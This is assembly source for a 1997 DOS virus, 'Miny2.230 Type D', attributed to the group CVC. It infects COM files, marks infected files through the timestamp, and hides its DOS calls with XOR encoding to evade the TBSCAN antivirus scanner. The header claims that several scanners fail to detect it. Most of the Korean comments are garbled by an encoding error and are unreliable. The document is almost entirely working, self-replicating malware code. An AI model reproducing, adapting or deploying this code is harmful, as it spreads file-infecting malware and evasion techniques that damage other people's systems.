;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                                                               CVC #02  97/09
; Virus Name : Miny2.230 Type D
; Author : Osiris
; Group : CVC
; Date : 1997/08/20
;
; Type : Non-resident COM infector
;
; Miny2 (Type C)  ea.
;
; TBSCAN  w (ҕ~) A a e eEa. e 62 ei A 'T'
; iae wea. aA A g ae iAe 񬂷 aeEa.
; e, w񬂵Ae e Ea.  aq A Ёii a.
;
; Ae TBSCAN A Howard  eA A
; TBSCAN  wA 韡 Aa ЁiAa.
;
; TBSCAN  F ia 'aᶅ a Aa'  Ae
; a ŝe ˥ii XOR  qѡ a a ѡaA eia.
; ae b wA 50h  XOR eei a ѡЖa.
;
; AVP 970812,DSAV 7.73,F-PROT 2.72a,PCSCAN 315,SCAN 9708,TBAV 8.02,V3 : e x
;
; aӡ A񷡜ae e COM qq (qqa) EXE w COM ai e
; vi qqa.  ei 62 eia aqAe a ɷea.
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
            .MODEL  TINY
            .CODE

 Miny2:     nop                         ; aAt (a eea.)
            nop                         ; |  aaa aAA
            nop                         ; A  ti a.
 start:
            call  Next                  ;
 Next:      pop   bp                    ;
            nop                         ; nop i ១e 'Howard'  e
            sub   bp,offset Next        ; BP = aa b

            lea   si,COM_head[BP]       ; COM | 
            mov   di,0FFh               ; DI i 100h  sa ១e
            inc   di                    ;
            push  di                    ; TBSCAN A 'O' wȁa iea.
            movsw                       ;
            movsb                       ;

            mov   cx,0080h              ; DTA  awЁ PSP a aAAa
            mov   si,0080h              ; q wea.
            lea   di,End_Virus[BP]      ;
            repz  movsb                 ;

            mov   ah,(4Eh xor 50h)      ; a x
            mov   cx,00100011B
            lea   dx,Match_COM[BP]
 Find:      call  Int21
            jnc   ChkInfected           ;
 Restart:
            lea   si,End_Virus[BP]      ;  DTA 
            mov   di,0080h
            mov   cx,0080h
            repz  movsb
            RET

 ChkInfected:                           ; qq ai ·ea.
            mov   al,DS:[0096h]         ; 62   aea.
            and   al,1Fh
            cmp   al,1Fh
            jnz   Infect
            mov   ah,(4Fh xor 50h)      ; aq a x
            jmp   Find
 Infect:
            mov   ah,(43h XOR 50h)
            mov   al,01h                ; /a a a
            xor   cx,cx
            mov   dx,009Eh
            call  Int21
            jc    Restart               ; Aᯡ a h

            mov   ah,(3Dh xor 50h)
            mov   al,02h                ; a e
            call  Int21
            jc    Restart

            xchg  ax,bx                 ; a Ѕi 苡

            mov   al,00
            mov   ah,(57h XOR 50h)      ; a b e 苡
            call  Int21
            push  cx                    ; b e w
            push  dx                    ;

            mov   ah,(3Fh XOR 50h)      ; | 
            lea   dx,COM_Head[BP]       ;  
            mov   cx,0003               ; 3 aa
            call  Int21
            cmp   byte ptr COM_Head[BP],'M' ; MZ a ?
            jnz   lseek2
            cmp   byte ptr COM_Head[BP+1],'Z'
            jz    Error
 lseek2:
            mov   al,02                 ; a {a 
            call  lseek
            or    dx,dx                 ; 64 KB wa ?
            jnz   Error                 ; aq a e ǡ gЁ

            sub   ax,3                  ; at e
            mov   word ptr JumpCode[BP+1],ax     ;

            mov   ah,(40h XOR 50h)      ; aa a
            mov   cx,offset End_virus - 3 - 2
            lea   dx,start[BP]
            call  int21

            mov   al,00                 ; qa 
            call  lseek

            mov   ah,(40h xor 50h)      ; a ša a
            mov   cx,0003
            lea   dx,JumpCode[BP]
            call  int21

 Error:
            pop   dx                    ; a b e 
            pop   cx                    ;
            or    cx,+1Fh               ; 62  ei
            mov   ah,(57h XOR 50h)
            mov   al,01h              ;
            call  Int21

 Close:
            mov   ah,(3Eh XOR 50h)      ; a h
            call  Int21
            jmp   Restart

 lseek:                                 ;
            xor   cx,cx
            xor   dx,dx
            mov   ah,40h
            inc   ah
            inc   ah
            int   21h
            ret

 Int21:                                 ; XOR 50h eeҁ
            xor   ah,50h                ; a 21h ѡ
            int   21h
            ret

 COM_head   db    0CDh,20h,90h          ; COM |
 Match_COM  db    '*.c?m',00            ; COM a x
            db    'Miny2'               ;  2
 JumpCode   db    0E9h
            db    ?,?
 End_Virus:
            END   Miny2

